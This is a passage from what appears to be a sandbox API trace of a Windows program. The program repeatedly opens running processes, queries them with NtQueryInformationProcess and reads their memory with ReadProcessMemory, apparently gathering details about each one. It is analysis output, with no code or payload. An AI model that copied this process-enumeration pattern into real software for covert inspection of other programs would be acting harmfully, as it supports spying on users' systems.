dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0277.671] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0277.693] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xf1c) returned 0x16c [0277.693] GetLastError () returned 0x0 [0277.695] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0277.695] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x29c018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0277.696] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0277.696] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x1c1cc0, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0277.696] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x1c18f8, lpBuffer=0x2dc22fc240, nSize=0x5a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0277.697] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0277.715] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0277.715] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x29c020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0277.715] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x1c12e0, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0277.715] malloc (_Size=0x62) returned 0x20abc2801b0 [0277.715] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x1c1952, lpBuffer=0x20abc2801b0, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2801b0*, lpNumberOfBytesRead=0x0) returned 1 [0277.716] free (_Block=0x20abc2801b0) [0277.717] CloseHandle (hObject=0x16c) returned 1 [0277.718] _ui64tow_s (in: _Value=0xf24, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="3876") returned 0x0 [0277.722] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="3876") returned 4 [0277.724] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0277.724] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0277.761] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xf24) returned 0x16c [0277.761] GetLastError () returned 0x0 [0277.763] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0277.763] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x369018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0277.763] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0277.763] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x1c1cd0, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0277.763] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x1c18f8, lpBuffer=0x2dc22fc240, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0277.764] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0277.766] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0277.766] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x369020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0277.766] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x1c12e0, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0277.766] malloc (_Size=0x68) returned 0x20abc280840 [0277.766] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x1c1958, lpBuffer=0x20abc280840, nSize=0x66, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc280840*, lpNumberOfBytesRead=0x0) returned 1 [0277.767] free (_Block=0x20abc280840) [0277.768] CloseHandle (hObject=0x16c) returned 1 [0277.768] _ui64tow_s (in: _Value=0xf30, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="3888") returned 0x0 [0277.773] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="3888") returned 4 [0277.774] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0277.774] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0277.838] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xf30) returned 0x16c [0277.838] GetLastError () returned 0x0 [0277.839] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0277.839] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x39e018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0277.840] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0277.840] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x4a1d10, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0277.840] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x4a18f8, lpBuffer=0x2dc22fc240, nSize=0x74, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0277.841] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0277.842] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0277.842] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x39e020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0277.843] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x4a12e0, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0277.843] malloc (_Size=0x7c) returned 0x20abc2aab10 [0277.843] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x4a196c, lpBuffer=0x20abc2aab10, nSize=0x7a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2aab10*, lpNumberOfBytesRead=0x0) returned 1 [0277.844] free (_Block=0x20abc2aab10) [0277.844] CloseHandle (hObject=0x16c) returned 1 [0277.845] _ui64tow_s (in: _Value=0xf40, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="3904") returned 0x0 [0277.848] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="3904") returned 4 [0277.849] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0277.849] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0277.883] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xf40) returned 0x16c [0277.883] GetLastError () returned 0x0 [0277.884] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0277.884] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x2f9018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0277.884] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0277.884] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x4e1cd0, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0277.884] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x4e18f8, lpBuffer=0x2dc22fc240, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0277.886] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0277.887] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0277.887] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x2f9020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0277.887] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x4e12e0, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0277.888] malloc (_Size=0x68) returned 0x20abc280840 [0277.888] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x4e1958, lpBuffer=0x20abc280840, nSize=0x66, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc280840*, lpNumberOfBytesRead=0x0) returned 1 [0277.888] free (_Block=0x20abc280840) [0277.889] CloseHandle (hObject=0x16c) returned 1 [0277.944] _ui64tow_s (in: _Value=0xf48, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="3912") returned 0x0 [0277.949] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="3912") returned 4 [0277.950] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0277.950] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0277.967] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xf48) returned 0x16c [0277.967] GetLastError () returned 0x0 [0277.968] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0277.968] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x29c018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0277.969] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0277.969] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x541cd0, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0277.969] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x5418f8, lpBuffer=0x2dc22fc240, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0277.970] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0277.972] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0277.972] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x29c020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0277.972] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x5412e0, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0277.973] malloc (_Size=0x68) returned 0x20abc280840 [0277.973] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x541958, lpBuffer=0x20abc280840, nSize=0x66, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc280840*, lpNumberOfBytesRead=0x0) returned 1 [0277.973] free (_Block=0x20abc280840) [0277.974] CloseHandle (hObject=0x16c) returned 1 [0277.975] _ui64tow_s (in: _Value=0xf50, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="3920") returned 0x0 [0278.151] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="3920") returned 4 [0278.152] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0278.152] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0278.179] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xf50) returned 0x16c [0278.179] GetLastError () returned 0x0 [0278.185] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0278.185] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x26b018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0278.185] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0278.185] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x481d30, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0278.186] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x4818f8, lpBuffer=0x2dc22fc240, nSize=0x80, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0278.188] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0278.190] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0278.190] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x26b020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0278.190] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x4812e0, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0278.190] malloc (_Size=0x88) returned 0x20abc2aa960 [0278.191] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x481978, lpBuffer=0x20abc2aa960, nSize=0x86, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2aa960*, lpNumberOfBytesRead=0x0) returned 1 [0278.191] free (_Block=0x20abc2aa960) [0278.192] CloseHandle (hObject=0x16c) returned 1 [0278.193] _ui64tow_s (in: _Value=0xf64, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="3940") returned 0x0 [0278.197] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="3940") returned 4 [0278.232] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0278.232] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0278.248] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xf64) returned 0x16c [0278.248] GetLastError () returned 0x0 [0278.249] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0278.249] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x358018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0278.249] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0278.249] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x1d1d20, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0278.249] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x1d18f8, lpBuffer=0x2dc22fc240, nSize=0x7c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0278.251] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0278.252] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0278.252] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x358020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0278.253] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x1d12e0, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0278.253] malloc (_Size=0x84) returned 0x20abc2aa210 [0278.253] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x1d1974, lpBuffer=0x20abc2aa210, nSize=0x82, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2aa210*, lpNumberOfBytesRead=0x0) returned 1 [0278.254] free (_Block=0x20abc2aa210) [0278.255] CloseHandle (hObject=0x16c) returned 1 [0278.255] _ui64tow_s (in: _Value=0xf6c, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="3948") returned 0x0 [0278.260] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="3948") returned 4 [0278.263] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0278.263] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0278.337] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xf6c) returned 0x16c [0278.338] GetLastError () returned 0x0 [0278.339] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0278.339] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x419018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0278.339] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0278.340] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x391c90, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0278.340] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x3918f8, lpBuffer=0x2dc22fc240, nSize=0x4c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0278.342] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0278.344] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0278.344] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x419020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0278.345] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x3912e0, 